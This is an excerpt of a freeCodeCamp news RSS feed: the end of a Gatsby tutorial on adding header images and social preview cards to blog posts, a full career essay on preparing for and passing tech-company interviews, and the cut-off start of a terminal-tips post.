<span class="hljs-comment">// Details omitted for brevity</span>

{data.markdownRemark.frontmatter.image?.childImageSharp?.fluid &amp;&amp;
    <span class="xml"><span class="hljs-tag">&lt;&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">Image</span>
            <span class="hljs-attr">fluid</span>=<span class="hljs-string">{data.markdownRemark.frontmatter.image.childImageSharp.fluid}</span>
            <span class="hljs-attr">alt</span>=<span class="hljs-string">{data.markdownRemark.frontmatter.imageAlt}</span> 
        /&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span>
            <span class="hljs-attr">style</span>=<span class="hljs-string">{{</span>
                <span class="hljs-attr">textAlign:</span> "<span class="hljs-attr">center</span>",
                <span class="hljs-attr">fontSize:</span> "<span class="hljs-attr">14px</span>",
                <span class="hljs-attr">lineHeight:</span> "<span class="hljs-attr">28px</span>",
            }}
            <span class="hljs-attr">dangerouslySetInnerHTML</span>=<span class="hljs-string">{{</span> 
                <span class="hljs-attr">__html:</span> <span class="hljs-attr">data.markdownRemark.frontmatter.imageTitleHtml</span> 
            }} 
        /&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span>
    <span class="hljs-tag">&lt;/&gt;</span></span>
}
</code></pre>
<p>If the <code>image</code> or <code>imageAlt</code> properties are not set in a post's frontmatter, it won't cause any issues. Those properties will just be <code>null</code> in the post's <code>data</code> prop, for example <code>data.markdownRemark.frontmatter.image</code> and <code>data.markdownRemark.frontmatter.imageAlt</code>. </p>
<p>For that reason, I've used <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining">optional chaining</a> when passing the <code>imageUrl</code> prop to the <code>SEO</code> component: <code>data.markdownRemark.frontmatter.image?.childImageSharp?.fixed?.src</code> and when optionally adding the header image component tree: <code>data.markdownRemark.frontmatter.image?.childImageSharp?.fluid</code>.</p>
<h2 id="heading-how-to-add-new-properties-to-a-posts-frontmatter">How to Add New Properties to a Post's Frontmatter</h2>
<p>Now all that's left is to add the actual image file, typically in the same directory as the markdown where we want to use it. Then we add the <code>image</code>, <code>imageAlt</code>, and <code>imageTitleHtml</code> properties to the post's frontmatter. </p>
<p>I've taken the suggested attribution HTML directly from <a target="_blank" href="https://unsplash.com/">Unsplash</a> and used it for the <code>imageTitleHtml</code>.</p>
<p>Remember: in this case, the image path is relative to the post markdown file.</p>
<pre><code class="lang-md">--- 
title: "Working with Heterogeneous Item Collections in the DynamoDB Enhanced Client for Java" 
date: "2020-12-07T01:51:34.815Z"
description: "Working with heterogeneous item collections with the Java SDKs can be tricky. Here we see how to handle 
them with the AWS SDK v2 for Java's Enhanced Client."
image: "./kevin-mueller-gGUiw8GNIFE-unsplash.jpg"
imageAlt: "Water droplets on black background"
imageTitleHtml: '<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">span</span>&gt;</span></span>Photo by <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://unsplash.com/@kevinmueller?utm_source=unsplash<span class="hljs-symbol">&amp;amp;</span>utm_medium=referral<span class="hljs-symbol">&amp;amp;</span>utm_content=creditCopyText"</span>&gt;</span></span>Kevin Mueller<span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span></span> on <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://unsplash.com/?utm_source=unsplash<span class="hljs-symbol">&amp;amp;</span>utm_medium=referral<span class="hljs-symbol">&amp;amp;</span>utm_content=creditCopyText"</span>&gt;</span></span>Unsplash<span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span></span><span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span></span>'

--- 

// Markdown here...
</code></pre>
<h2 id="heading-conclusion">Conclusion</h2>
<p>That's it – you did it! We covered quite a few concepts in this article. You should now be able to add header images to your blog posts and get nice Open Graph-based preview experiences on Twitter, Facebook, Google, WhatsApp, and more.</p>
<p>You can find the completed code on GitHub here:</p>
<ul>
<li><a target="_blank" href="https://github.com/helloworldless/davidagood.com/blob/55164811e2265de754940c8432c58c2bceec8e43/src/components/seo.js">SEO</a></li>
<li><a target="_blank" href="https://github.com/helloworldless/davidagood.com/blob/55164811e2265de754940c8432c58c2bceec8e43/src/templates/blog-post.js">BlogPostTemplate</a></li>
<li><a target="_blank" href="https://github.com/helloworldless/davidagood.com/blob/55164811e2265de754940c8432c58c2bceec8e43/content/blog/dynamodb-enhanced-client-java-heterogeneous-item-collections/index.md">Example post markdown</a></li>
</ul>
<p>Once you've implemented this and deployed it, you can use the <a target="_blank" href="https://cards-dev.twitter.com/validator">Twitter Card Validator</a> to test the behavior before actually tweeting a link.</p>
<p>Coincidentally, I did experience some issues with cards not being displayed in tweets even though the Validator showed that they were working. </p>
<p>In one case, I tweeted a link in a reply, and there was no card at all—just the raw link. The next day, I tweeted the same link, and this time the card worked fine! </p>
<p>In another case, I was looking at my Twitter Profile page, and several of my tweets had the cards but the image was not being displayed. So I opened a Chrome Incognito window, and in that window the images were displayed as expected.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How I landed offers from Microsoft, Amazon, and Twitter without an Ivy League degree ]]>
                </title>
                <description>
                    <![CDATA[ By Zhia Chong This is for those of you out there who are about to start your job search and who may be worried that you can’t land a top-tier tech job without a Stanford CS degree. Someone told you that you’re not good enough to get a job at ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-i-landed-offers-from-microsoft-amazon-and-twitter-without-an-ivy-league-degree/</link>
                <guid isPermaLink="false">66d461c857503cc72873deea</guid>
                
                    <category>
                        <![CDATA[ Backend Development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ career advice ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Career development  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ careers ]]>
                    </category>
                
                    <category>
                        <![CDATA[ coding ]]>
                    </category>
                
                    <category>
                        <![CDATA[ coding interview ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Facebook ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Google ]]>
                    </category>
                
                    <category>
                        <![CDATA[ internships ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Interviews ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Microsoft ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Sun, 23 Feb 2020 08:14:06 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/02/1_QuyFfwka5D5j7Z2IR4mcCQ.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Zhia Chong</p>
<p>This is for those of you out there who are about to start your job search and who may be worried that you can’t land a top-tier tech job without a Stanford CS degree. Someone told you that you’re not good enough to get a job at Microsoft or Facebook. </p>
<p>But I’m here to tell you that you can get that job. Here’s how I landed my dream job at Twitter.</p>
<p>Read more about my courses <a target="_blank" href="https://docs.google.com/document/d/1PeK69h4H82rwKjhactiE_sAIorCcZgXgXTY7k-nXpnE/edit?usp=sharing">here</a> to learn how I prepared.</p>
<p>You can read about my experiences after a year at Twitter <a target="_blank" href="https://www.freecodecamp.org/news/what-ive-learned-in-1-year-at-twitter-65150f5d4af2/">here</a>.</p>
<h3 id="heading-what-this-article-covers">What this article covers:</h3>
<ul>
<li>My background</li>
<li>How I landed interviews with top tech companies in the world: Facebook Google, Amazon, LinkedIn, Microsoft, Twitter, Pinterest, Snapchat, and others.</li>
<li>How I landed multiple offers as a full-time software engineer</li>
<li>Lessons from my interview experience</li>
<li>Subscribe <a target="_blank" href="http://eepurl.com/dnt9Sf">here</a> for more article updates from me</li>
</ul>
<p>If you prefer to watch my story instead, I made a video here:</p>
<div class="embed-wrapper">
        <iframe width="560" height="315" src="https://www.youtube.com/embed/83Reyvrs-VQ" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy"></iframe></div>
<h2 id="heading-background">Background</h2>
<p>I did not graduate from an Ivy league school. I went to a community college in Idaho for two years, and then finished my CS degree at a small Catholic university.</p>
<p>I started learning computer science in my junior year of college, because it sounded fun to me at the time. The only thing resembling a computer I had growing up was a Chinese copycat of the Nintendo SNES. Even then, it would break every time I put a cartridge in it.</p>
<p>To support myself through college, I took multiple part-time jobs like cleaning floors and working stand-up concessions.</p>
<p>When I graduated, I didn’t have a job lined up. I applied to as many big tech companies as I could, and had the good fortune of landing a few phone interviews.</p>
<p>At this point, I didn’t have a single notion of what a technical screen would be like, much less how to prepare for it. I headed into these interviews thinking that the interviewer would ask me what a linked list or binary tree was.</p>
<p>I <strong>didn’t pass</strong> any of those interviews.</p>
<h2 id="heading-moving-forward">Moving forward</h2>
<p>I didn’t delve too much into whether I was good. I knew that I could learn things fast. I just needed an opportunity.</p>
<p>As the saying goes, cast your net far and wide. So that’s what I did.</p>
<p>What I did next is something I’m particularly proud of. I wrote a simple Python script that scraped job listings on Craigslist with titles containing keywords from a list, and collected the emails in a spreadsheet. For the actual war story, you can read the article <a target="_blank" href="https://www.freecodecamp.org/news/how-i-built-a-web-crawler-to-automate-my-job-search-f825fb5af718/">here</a>.</p>
<p>It wasn’t the smartest solution, but people who post on Craigslist are surprisingly accurate with their titles.</p>
<p>Craigslist, however, didn’t like people scraping their website. To work around this, I ran my script through a VPN, and had a timer that would pause the script every few minutes or so. It wasn’t perfect, but it worked well enough.</p>
<p>In the end I collected about 500 emails from around San Francisco, Portland, Spokane, and Seattle. I filtered the results by how specific and recent they were, and kept improving it by adding more and more features.</p>
<p>As it turned out, there were a few bots in the market already that crawled Craigslist and sent out automated emails. These were mostly offshore companies that were looking to pitch their company to the US market.</p>
<p>One of my workarounds was that I crafted emails that used keywords from their listings in the title of my emails. I then added more details using the body of the postings to make it seem more personable. I did a quick A/B test, and the replies I received had increased quite a bit from around 2–3% to 10%.</p>
<p>Out of the 500 or so emails, I received about 50 replies, and landed phone screens with a small percentage of those. I stopped at 500 because I was short on time and needed to finalize a job as soon as possible. I was optimizing for results rather than reach at that point.</p>
<p>As luck would have it, I finally landed a job at a startup in Seattle as a junior software engineer. The startup was located in Kirkland at the time, so I had to take a 45-min bus ride to make it in time for the interview.</p>
<p>I then stayed there for the next 3.5 years, where I learned a great deal of stuff like Amazon AWS, EC2, DynamoDB, SQS, and Docker. I grew a lot during this period. I learned how to write modular, maintainable code. I learned how to reason about software design. And I learned how to handle people problems.</p>
<p>I was working next to a group of smart people who held jobs at Microsoft, Amazon, and LinkedIn, and I tried to be the “sponge” in the group. I absorbed anything and everything they threw at me. I believe this made a huge impact in my career.</p>
<h2 id="heading-startup-days">Startup Days</h2>
<p>During my stint at the startup, I worked almost exclusively on backend development, with some dev-ops in between. I started out writing some functions to add/modify a feature that were mostly small in scope. But it was a great opportunity to understand the codebase and get some code reviews.</p>
<p>A year into it, I started owning parts of the codebase, and then I was tasked with turning a set of features into a service. That was the start of the SOA phase for the startup. We started turning various components of the site into services, and that’s how I started learning more about RESTful services, authentication, AWS services, pub-sub, distributed systems and so forth.</p>
<p>The interesting part here is that <em>I didn’t learn about any of these through books or formal education.</em> Rather, I needed to get that set of features done and there were the bottlenecks.</p>
<p>So I thought, let’s go solve it!</p>
<p>There were many times where I was stuck in analysis paralysis — a state where I over-analyzed scenarios and ended up not able to make progress.</p>
<p>Those trying times were the <strong>greatest</strong> learning opportunities. I started to learn feature scoping, negotiations, monitoring, alerting, and documentation. Each step of the process revealed more things I needed to learn. I grew the most during these 2–3 years, both as an individual and software engineer.</p>
<h2 id="heading-how-i-prepared-for-my-interviews">How I prepared for my interviews</h2>
<p>After suffering through my first job search, I told myself that I must be prepared in future interviews.</p>
<p>I started preparing for interviews by charting out an overview of what I was good at, bad at, and where I could improve. I broke it down into three categories: <strong>data structures, algorithms, and system design.</strong></p>
<p>Having worked in PHP for most of my professional career, and C++ in college, I wanted to try something a little simpler and less verbose for interviewing.</p>
<p>For this reason, I picked Python. It is a great language to learn, easy to pick up, supports many data structures out of the box, and can be written quickly on the whiteboard. I learned Python by going through YouTube tutorials like <a target="_blank" href="https://www.youtube.com/watch?v=Z1Yd7upQsXY">these</a>, and also reading their documentation. I prefer Python 2.x, but you can go for either 2.x or 3.</p>
<p>Also, another reason why I picked Python is that it’s highly readable and easy to write on a whiteboard. Here’s a trivial comparison between C++ and Python.</p>
<p>A C++ program to sort in descending order:</p>
<pre><code class="lang-c++"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;bits/stdc++.h&gt;</span></span>
<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>; 
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{   
    <span class="hljs-keyword">int</span> arr[] = {<span class="hljs-number">1</span>,<span class="hljs-number">10</span>,<span class="hljs-number">0</span>,<span class="hljs-number">4</span>,<span class="hljs-number">5</span>};
    <span class="hljs-keyword">int</span> n = size(arr)/<span class="hljs-keyword">sizeof</span>(arr[<span class="hljs-number">0</span>]);   
    sort(arr, arr + n, greater&lt;<span class="hljs-keyword">int</span>&gt;());   
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; n; i++) {       
        <span class="hljs-built_in">cout</span> &lt;&lt; arr[i] &lt;&lt; <span class="hljs-string">" "</span>;   
    }    
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Compare that with Python’s version:</p>
<pre><code class="lang-py">a = [<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">4</span>,<span class="hljs-number">5</span>,<span class="hljs-number">1000</span>]
a.sort(reverse=<span class="hljs-literal">True</span>)
<span class="hljs-keyword">print</span> a
</code></pre>
<p>I’ve received feedback from interviewers to <strong>err on the side of brevity</strong> in an interview. In a 45-minute interview, you want to use most of your time solving the actual problem.</p>
<p>Pro tip: pick a language that’s less verbose so that you can write the code more quickly on the whiteboard.</p>
<h2 id="heading-preparation-mode">Preparation mode</h2>
<p>I spent about a week going through simple challenges on LeetCode, HackerRank, and Project Euler to familiarize myself with their interfaces, and to get used to writing code in Python.</p>
<p>The first week gave me insights into my competence level at certain programming languages. I spent another week going through some design challenges like “design X” and went as wide and deep as I could.</p>
<p>This was a lot of fun for me, because I often looked at iOS apps and tried to figure out how they did it. For example, how would you build Instagram from scratch? (I was asked this at Facebook.)</p>
<p>My background is in API designs and service-oriented architecture, so I took this opportunity to show how I would design my own version of Instagram. And because I have some iOS programming experience from my side-projects, I could talk a little bit about callbacks and push/long-polls here.</p>
<p>I started the conversation with some features I’d like to have on my own version of Instagram: likes, upload a photo, and a simple timeline. Feature scoping enabled me to build a very solid API because I know these scenarios well.</p>
<p>I then drew some pictures of a high-level design, of how the client would interact with the backend, and of how the backend would store the data.</p>
<p>I started small, and then added more components where needed and proactively sought where the bottlenecks were. I made educated guesses (read <strong>educated, not blind guesses</strong>) on what the requirements would be, and how each technology would fit in well. And also equally important, what technologies would <em>not fit well.</em></p>
<p>For example, why would you use Cassandra over MySQL to store certain information (hint: scale, speed of development, schema reviews), why use OAuth over simple authentication, Redis vs Memcached for caching data, streaming vs batch processing, and so on.</p>
<p>There are many areas you can explore here, so typically a one-hour session is not enough. To do well on these questions, you have to read and learn about trade-offs. Pros and cons of technologies in the industry. For this, I recommend a site like <a target="_blank" href="http://highscalability.com/all-time-favorites/">HighScalability</a>.</p>
<p>Take it like a typical brainstorming session with a coworker, so explore <em>as widely and as deeply</em> as you can.</p>
<p>It’s crucial to know that these design interviews are meant to explore how much you know and how well you know it, and it’s <strong>an opportunity for you to shine.</strong> I watched this YouTube <a target="_blank" href="https://www.youtube.com/watch?v=ZgdS0EUmn70">video</a> from an ex-Facebook engineer about how to solve design problems, and it gave me insights that helped me tremendously with my design interviews. My two main lessons from it: <strong>drive the design conversation,</strong> and <strong>show what you know</strong>.</p>
<p>I listed out my competency level for: <strong>data structures</strong> (linked list, hash map, binary tree, binary search tree, heap, array), <strong>algorithms</strong> (binary search, hashing, dynamic programming, sorting), and <strong>language-specific syntax and libraries</strong> (like sort, lambda for Python, appending, indexing).</p>
<p>I picked the area I was worst at, and started working on it: <strong>algorithms</strong>.</p>
<p>Algorithms have never been my forte. It’s been a while since my college days, and I didn’t spend much time doing binary search in my day-to-day career. I had an inkling of how each algorithm would perform, and in what scenarios to use them. But I wasn’t 100% comfortable with writing a binary search in under 10 mins. On a whiteboard. In front of an interviewer.</p>
<p>I also picked up a bunch of fine-point markers from <a target="_blank" href="https://www.amazon.com/86601-Low-Odor-Markers-Assorted-8-Count/dp/B000Z88D2E/ref=sr_1_3?ie=UTF8&amp;qid=1518801079&amp;sr=8-3&amp;keywords=white+board+pens">Amazon</a>, which work amazingly well. Perhaps it’s just me, but the fine-point markers in interviewing rooms usually don’t work at all. I’d usually scramble for 2–3 mins looking for a working pen, and that’s 2–3 mins you can’t afford to waste. Plus, fine-point markers allow you to write 5–8 more lines of code on a typical whiteboard vs. thicker ones. :)</p>
<p>Pro tip: Get your own set of fine-point markers.</p>
<p>I got a whiteboard from Costco for $50, some books from Amazon (listed in the tools I recommend section below), and started practicing. I made sure I ramped up on binary search, recursion, dynamic programming, BFS and DFS. A lot of interviewing questions revolved around recursion and binary search or some variations of it.</p>
<p>The best interviewing questions I’ve seen had many different solutions to them, and there’s an additional layer added on top as you progress through.</p>
<p>One Google question I had was related to file-system directories, and how to traverse them (hint: recursion). I solved that relatively quickly, and the interviewer asked how to identify a missing file in that directory. That was a little more difficult, but I got through it. And we then moved into how to rebuild the directory, how to serialize/deserialize it, and we spent a good chunk of time debating how file directories work underneath the hood. It was a very enjoyable session for me.</p>
<h2 id="heading-interviewing-at-top-tier-companies">Interviewing at top-tier companies</h2>
<p>It was a nerve-wracking experience, to say the least, and a real roller-coaster.</p>
<p>I allocated my time in the following manner: 20% resume, 20% research and 60% interview preparation.</p>
<p>I spent 20% of my time fixing up my resume, which hadn’t been updated in at least three years. I took a hard look at the stuff I’ve done in the past, and picked projects I handled end-to-end, <strong>regardless of complexity.</strong></p>
<p>The reason for doing this is two-fold. Taking a project from start to completion demands discipline and leadership — two of the traits I’d like to be identified with.</p>
<p>Secondly, ownership of a project end-to-end means I can talk about each aspect of the project <strong>at length and in depth.</strong> This proved critical in helping me navigate my design round at Twitter, where they grilled me hard on not only the designs of my projects, but also the decisions behind them.</p>
<p>20% of my time was used for research. Research in this case meant doing due diligence on companies I was interested in and reaching out for referrals. Having referrals helps with return calls.</p>
<p>From my experience, I sent out 20 or so cold messages to startups and mid-stage companies, and only heard back from a handful. But, almost all the companies I was referred to by an existing employee sent me a message within a week. This is anecdotal, but there’s value to be had there.</p>
<p>I am not that sociable, and I didn’t know many people who’d be able to refer me to a company I was interested in. To solve that problem, I went on LinkedIn. They have a search functionality that I used to search for 1st and 2nd-level connections. 2nd-level connections are people who’re one hop away from your immediate circle. In other words, we have mutual friends who can <strong>vouch for my credibility</strong>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/02/linkedin-search.png" alt="Image" width="600" height="400" loading="lazy">
<em>LinkedIn search</em></p>
<p>This is incredibly important, because cold-calling someone for a job is very, very hard, especially in today’s market. People tend to err on the side of caution when it comes to cold-callers. Using LinkedIn was super helpful for my research phase.</p>
<p>Looking back at all the companies I interviewed at, here are my thoughts on each of them:</p>
<ul>
<li><strong>Facebook/Google</strong> — very mechanical. The standard interviewing process, and I didn’t feel any personal connection to them.</li>
<li><strong>Pinterest</strong> — not the best interviewing experience, but a cool product and company.</li>
<li><strong>Microsoft</strong> — loved the team and especially the manager and her manager. Standard interviewing questions, but very personable. Close-second choice. Your mileage may vary, though — each team at Microsoft interviews differently.</li>
<li><strong>Amazon</strong> — standard interviewing process. About 50% of the people love it, the others don’t.</li>
<li><strong>Twitter</strong> — incredibly fun and personal. Loved the interviewing process, gave a lot of emphasis on the individual and what I’d done in the past.</li>
<li><strong>Snapchat</strong> — cool office in LA, great bunch of people who decided to jump on the startup bandwagon. Felt like things were shrouded under a cloud of secrecy.</li>
<li><strong>Lyft</strong> — near to where I live, nice office, standard interviewing process. No strong feelings about it.</li>
</ul>
<h2 id="heading-lets-talk-about-my-favorite">Let’s talk about my favorite</h2>
<p>In many ways, I’d say Twitter’s interviewing style was hard. But at the same time, it was more interesting and personable than other companies I’ve interviewed at.</p>
<p>Their interviewing process starts with an introductory phone call with an engineering manager. That’s followed up by one or two technical phone screens, depending on how you perform. If you do well, they’ll fly you out to the office you’re interviewing for, which was Seattle in my case. There are three 1-hour-and-15-minute rounds, each with two interviewers.</p>
<p>The first two technical phone screens are the standard, run-of-the-mill technical screens where you solve coding problems on a shared coding doc.</p>
<p>The onsite rounds, however, are much more conversational and feel much less intimidating. The interviewers will ask you in-depth questions about your past projects, and they’ll grill you on what you’ve done in the past. If you claim ownership of a project, you should expect some questions about it. You’re encouraged to use them for references and to bounce ideas off of.</p>
<p>I never felt any pressure to magically come up with a fully working solution, and it felt highly collaborative.</p>
<h2 id="heading-the-others">The others</h2>
<p>In comparison, interviewing at Facebook and Google felt much more mechanical. They have one or two technical phone screens, and five to six onsite coding rounds. Each round involves some coding on a whiteboard, and you’re expected to come up with a near-perfect solution in a reasonable amount of time.</p>
<p>Facebook has two coding rounds, one design round, and one behavioral round.</p>
<p>I went through an additional shadow round at the end of the day, which didn’t count towards my overall score.</p>
<p>Google had five coding rounds, none of which focused on designs, and not a single interviewer asked about my previous projects. I don’t necessarily think this is bad. But I think it felt very mechanical and didn’t give much opportunity for the engineer to show what they’re capable of. Some people do well in these scenarios, much like some students do well in exams.</p>
<p>I <strong>did not enjoy</strong> my interview with Pinterest. I think the product itself is interesting, and their engineering team seems to be working on very cool technical <a target="_blank" href="https://medium.com/@Pinterest_Engineering">problems</a>. But I definitely had a negative experience during my interview there.</p>
<p>Pinterest has three coding rounds and one design round. Of those four rounds, the design round was most disappointing to me. Here’s why:</p>
<p>The interviewer came in late, and he spent a few minutes glancing over my resume before proceeding to draw some APIs on the board. He gave a short description of what he expected the API to do, and asked how I would solve it. We clarified the features of the API, and I started describing my solution using the whiteboard. About 5 minutes into it, I turned around and <strong>saw him taking a nap!</strong></p>
<p>Not cool.</p>
<p>I gave the recruiter my feedback in a survey, and I didn’t hear back from them after that.</p>
<p>I won’t delve into specifics of the questions I was asked during all the interviews. Instead, I’ll share some of the insights and useful tips I learned from my preparation process.</p>
<h2 id="heading-what-i-learned">What I learned:</h2>
<ul>
<li>Be <strong>honest</strong> on your resume. Most companies <em>will</em> ask you questions about your resume, and they can tell if you made it up. It’s better to be able to know <strong>100% about one project than to know 10% about 10 different projects.</strong></li>
<li>One-page resumes are <strong>recommended</strong>. This is especially true for tech companies, and it seems that the wisdom within the tech sphere is that you should reserve two pages and longer for post-doctoral work, or if you’ve done a lot of projects that you know and care deeply about. A friend of mine runs a <a target="_blank" href="https://www.jobscan.co/">company called Jobscan</a> that scans resumes and makes <em>specific, actionable</em> improvements on them. They’re pretty awesome, so try them out :)</li>
<li><strong>Socialize and establish a network</strong>. There’s a lot of competition for software engineering jobs, and these top tech companies are filtering through thousands of resumes a day. Having a referral will help you get some eyes on your resume.</li>
<li><strong>Nail</strong> your pitch. Every company that’s interested in you wants to know why you’re interested in them. <strong>A bad answer</strong>: I just need a job right now to pay bills. <strong>A less-bad answer</strong>: I was browsing online and found you guys. Sounds like you’re working on interesting things. <strong>A good answer</strong>: I know you’re doing some interesting work in X to achieve Y. I’ve done some work in the past and here’s what I learned about A, B, C that might be related to X. I am passionate about Y because blah. (<em>Don’t</em> use this as a template. Instead, you should see the pattern here — do your research, use your background, and show the company why both of you would fit well together.)</li>
</ul>
<h2 id="heading-some-more-advice">Some more advice</h2>
<p>Technical interviews are incredibly difficult, and sometimes it’s a hit-or-miss. The best opportunities, however, are reserved for those <em>who are prepared.</em></p>
<ul>
<li><strong>Prepare early, prepare <em>well</em></strong>. Everyone knows that they should prepare for an interview, but most don’t know how to do it <em>well</em>. As with anything worth doing, it takes deliberate practice to do well at something. And deliberate practice means you need to have a system.</li>
<li><strong>Build a system</strong> to practice technical skills. I started by rating myself from 1–10 on how good I was, and worked on the ones I was worst at. I spent days on different types of questions until I fully mastered each concept. And I <strong>wrote notes daily on Evernote</strong>. I had a note that serves as a brain dump for all things programming. It is full of programming tips &amp; tricks, common errors and misconceptions, frameworks for solving specific types of questions, and much more.</li>
</ul>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/02/my-notebook.png" alt="Image" width="600" height="400" loading="lazy">
<em>My notebook</em></p>
<ul>
<li><strong>Keep a notebook</strong> of the things you’ve learned. I use both <a target="_blank" href="http://evernote.com">Evernote</a> and <a target="_blank" href="http://onenote.com">OneNote</a> to keep track of things. OneNote for technical stuff/code, because I like that I can easily format the note any way I like. I use Evernote for essays/thoughts. The image above shows a note I keep on architecture and system designs.</li>
</ul>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/02/evernote.png" alt="Image" width="600" height="400" loading="lazy">
<em>Evernote for thoughts/tips</em></p>
<ul>
<li><strong>Jot everything down</strong>, even if you don’t think you’ll use it. I tend to forget very easily, so anything that I learn I write it down, including shell commands. I read technical blogs from time-to-time, and if I find anything interesting I jot it down on Evernote right away. I’ll revise it every week or month and reorganize accordingly. This has helped me tremendously over my career.</li>
<li><strong>Get mock interviews</strong>. This was definitely very valuable and I highly advise it. I had mock interviews with friends and tried to practice as much as I could. If you can’t find friends to practice with, then I recommend Refdash, which is an Interview-As-A-Service. They have a group of interviewers who work at big tech companies like Google, Facebook, and Microsoft. These interviewers will assess you on your coding and design skills. The best part of it is they’ll give you a score at the end of it with specific actionable items on how to improve.</li>
<li>It’s <strong>OK to fail. I failed multiple interviews during this whole process.</strong> Sometimes you just have a bad day. It’s not the end of the world if you fail. Companies are biased towards saying no because it’s a lower risk for them. A false positive costs more than a false negative in the long run. The first few rejections definitely stung the most. I failed multiple phone screens when I first started interviewing, and my confidence level sunk. I had doubts in my mind about my abilities and started fearing that my skills weren’t relevant in today’s job market. However, I gave myself a tip: If you fail 10 times, then try 10 times more. <em>All you need is one success.</em> That reassurance gave me a lot of confidence to keep pushing through and when my first offer came through, the other offers came much more easily.</li>
</ul>
<p>It took me about <strong>2 months</strong> of deliberate practice and preparation for my interviews. I spent about <strong>20 hours/week, or 80 hours/month,</strong> learning and writing notes on top of a full time job.</p>
<p>To build up my resume, it took 3.5 years of focused, deliberate work. I intentionally picked things that were tough and icky so that I could learn more than anyone else. Even though I don’t have a brand name university or top-tier tech company on my resume, I made up for it with a clear, thorough understanding of the projects I worked on. And this was possible because I researched and wrote down notes of everything I learned, and have a system to review them.</p>
<p>Remember: the strong survives, the tough thrives.</p>
<p>TL;DR: Don’t give up, set yourself up for opportunities, practice a lot, and stay hopeful. Focus on the process, and take a disciplined, dedicated approach to the process.</p>
<h3 id="heading-tools-i-recommend">Tools I Recommend</h3>
<ul>
<li><a target="_blank" href="https://amzn.to/2I80wup">Designing Data-Intensive Applications</a>: Awesome book for learning about scaling distributed systems! Highly recommended.</li>
<li><a target="_blank" href="http://amzn.to/2Dcs6Qd">Elements of Programming Interviews</a>: Great for solving coding problems.</li>
<li><a target="_blank" href="http://amzn.to/2Hj91OH">Cracking The Coding Interview</a>: Great for covering foundational CS coding problems.</li>
<li><a target="_blank" href="https://www.dailycodingproblem.com/zhiachong">Daily Coding Problem.com</a>: This is a free-to-try website that offers free daily coding problems. You can sign up for interesting daily coding challenges, and you can pay for solutions if you want.</li>
<li><a target="_blank" href="https://db.tt/tdUSP79S">Dropbox</a>: I keep all my files, pictures, resume here. Easy access, installed once and available everywhere. Love it ❤️ (If you sign up thru this link, both of us will get free 500MB!</li>
<li><a target="_blank" href="https://coderunnerapp.com/">CodeRunner</a>: I love this Mac app! I used this multiple times to run ad-hoc Python scripts/functions and it just works amazingly well. ?</li>
<li><a target="_blank" href="https://amzn.to/2D8FUxS">Kafka the Guide</a>: I used this book as a reference guide, and enjoyed it for the high-level description.</li>
</ul>
<p>(I share more resources I personally have used and recommend on <a target="_blank" href="http://zhiachong.com/resources">zhiachong.com</a>, if you’re interested in learning more.)</p>
<p>Thanks for reading my story! You can find me on <a target="_blank" href="https://twitter.com/zhiachong">Twitter</a> and <a target="_blank" href="https://www.linkedin.com/in/zhiachong/">LinkedIn</a>. I would love to connect and talk more about tech, startups, travel :D</p>
<p><strong>Credits:</strong></p>
<p><a target="_blank" href="https://twitter.com/hakczar">Brandon O’brien</a>, my mentor and good friend, for proof-reading and providing valuable feedback on how to improve this article.</p>
<p><a target="_blank" href="https://medium.com/@yksugi">YK Sugishita</a>, an up-and-coming Youtube star who left his job at Google to pursue his dreams, for proof-reading and giving critical feedback.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Helpful terminal tips ]]>
                </title>
                <description>
                    <![CDATA[ By Leonardo Faria A while ago I started a thread on Twitter with a few terminal tips. There are lots of command line interfaces in NPM and they can be very handy in our daily work.  Here they are. If you like them, you can follow me on twitter ]]>
                </description>
                <link>https://www.freecodecamp.org/news/terminal-tips-tweets/</link>
                <guid isPermaLink="false">66d8517e8acc348be2a441b4</guid>
                
                    <category>
